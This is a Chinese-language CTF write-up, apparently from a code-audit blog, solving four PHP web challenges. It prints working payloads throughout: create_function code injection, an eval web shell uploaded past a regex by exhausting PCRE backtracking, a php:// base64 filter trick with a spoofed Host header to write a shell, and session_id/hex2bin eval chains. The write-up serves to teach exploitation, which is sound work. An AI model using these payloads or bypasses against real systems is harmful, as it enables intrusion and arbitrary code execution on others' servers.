代码审计知识星球

1.easy - function
代码:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

代码看起来很简单,然而并不知道怎么搞能在纯字母数字下划线被禁用的情况下调用函数
after 问+查

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以可以通过\function_name这样的形式绕过正则
我们可以控制这个函数的第二个参数,所以需要一个第二个参数很危险的函数
使用create_function()
原理如下:
http://blog.51cto.com/lovexm/1743442
可以执行任意代码
1.获得文件路径

action=\create_function&arg=return%201;}echo%20__FILE__;/*


2.获得目录下文件名

action=\create_function&arg=return%201;}$handle = opendir("/var/www");while (false !== ($file = readdir($handle))) {echo "$file\n";}/*

或者

action=\create_function&arg=return%201;}print_r(scandir("/var/www"));/*


3.getflag

action=\create_function&arg=return%201;}readfile("/var/www/flag_h0w2execute_arb1trary_c0de");/*

2.pcrewaf
代码:

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

从正则匹配来看是要让我们上传一个php的shell,然而这个正则很严格,尝试了一番没法绕过
搜!
php开发者写的关于正则最大回溯的文章:
http://www.laruence.com/2010/06/08/1579.html
php中在使用正则匹配时,默认最大回溯数backtarck_limit是100000(这是php5,最新的php7是100w)
超过后就会导致匹配失败,preg_match返回false
可以用

<?php @eval($_GET['pass']);//aaaaaaa....(大量a)

来绕过限制,上传shell(没有最后的?>的shell也有效)
具体地,第一个.*是贪婪匹配,首先匹配到最后的a,然后发现匹配不到[(`;?>],所以开始往前逐个字符回溯,但因为a数量太多,最后超过了回溯数,匹配失败返回false
对于这道题,首先在本地写一个html用来上传文件

<form enctype="multipart/form-data" action="http://51.158.75.42:8088/" method="POST">
    Send this file: <input name="file" type="file" />
    <input type="submit" value="Send File" />
</form>

随便选一个文件上传,用burp拦截
内容修改成前面提到的形式

从响应来看上传成功,然后就可以执行任意命令了
用1中提到的方法可以找一下目录下文件,找到后读取即可getflag
payload:pass=readfile("../../../flag_php7_2_1s_c0rrect");

3.phpmagic

去掉没用的html之后的源码:

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php 
if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
endif; ?>

先看一下流程,主要部分在第二组php代码中
首先用sprintf将"dig -t A -q %s" 和经过escapeshellarg的$domain(可控)拼接
这样处理的$domain会变成这样的形式:
比如,当$domain = ;ls;
$command:dig -t A -q ';ls;'
当$domain = ';ls;
$command:dig -t A -q ''\'';ls;'
所以这里的shell_exec难以利用
再往后还要经过htmlspecialchars(),这样把尖括号过滤掉了,没法直接写shell
最后是把$_SERVER['SERVER_NAME']和可控的log_name拼接起来,用pathinfo判断是否以php为后缀,然后写文件

看起来似乎是要利用file_put_contents来写shell
但是两个参数(文件和内容)我们似乎都无法完全控制
下面是琪亚..啊不,php魔法时间
1.关于$_SERVER['SERVER_NAME']

php手册中提到,这个值可以由客户端提供
实际上,可以在请求头中修改Host来修改这个值
这样,文件名完全由我们控制了
2.关于pathinfo
其实这是一个很弱的判断,在文件名后面加一个/.,即shell.php/.,即可绕过判断
3.神奇的php伪协议
似乎filename基本都能用协议流代替
经本地测试


可以用如图方式写文件
4.解码base64时,遇到不合法字符会跳过(至少php和下文例子中的python是这样)
base64使用的字符包括大小写字母各26个,加上10个数字,和+、/共64个字符。
base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。
for example:

所以其他字符不会影响想要的解码

最终写shell的payload:

Host改为php,与传入的log拼接成php伪协议的形式,文件名后加/.来绕过pathinfo
domain为

<?php @eval($_GET['123']);?>

的base64编码,去掉了最后的==(这里php最后的?>不能省略,因为后面还有其他内容,刚开始习惯性的没加,怀疑人生了很久)
getflag

4.phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

代码非常短小精悍
第一次在正则匹配里见到(?R),去查了一下
这是递归的正则匹配,用来表达正则模式本身,具体可以看这篇文章:

PHP正则之递归匹配


[^\W]限定了只能是数字字母下划线(中括号中的^表示非,而不是以某某开头)
所以这个正则匹配大概匹配的字符串如下:
a(a(a(a(a()))))
最里面的括号中不能有内容
如果preg_replace后只剩下';',则eval
字符串是函数套函数的形式,最里面不能有参数,显然想执行任意命令,要在别的地方写
php魔法:
先session_start(),然后session_id()可以直接获得sessionid,然后就可以在cookie中的sessionid里写东西了
不过sessionid里只能有a-zA-Z0-9,(逗号)和-(减号)符号,可以通过hex2bin来转换成可执行代码
payload:
code=eval(hex2bin(session_id(session_start())));
同时设置cookie:
PHPSESSID=7265616466696c6528222e2e2f666c61675f70687062797034737322293b

payload里也有一个eval是因为如果没有,那么只会得到转换完的命令而不执行。
其他解法:
1.很强的一种解法:

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

2.另外一种执行命令的方法:

z=readfile("../flag_phpbyp4ss");&code=eval(implode(reset(get_defined_vars())));

get_defined_vars返回所有已定义变量组成的数组,包括$_GET $_POST等
reset将数组的内部指针指向第一个单元
implode把数组值转化成字符串
这样就可以通过get提交想要执行的命令getflag
注意这个参数要在code之前

待续

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注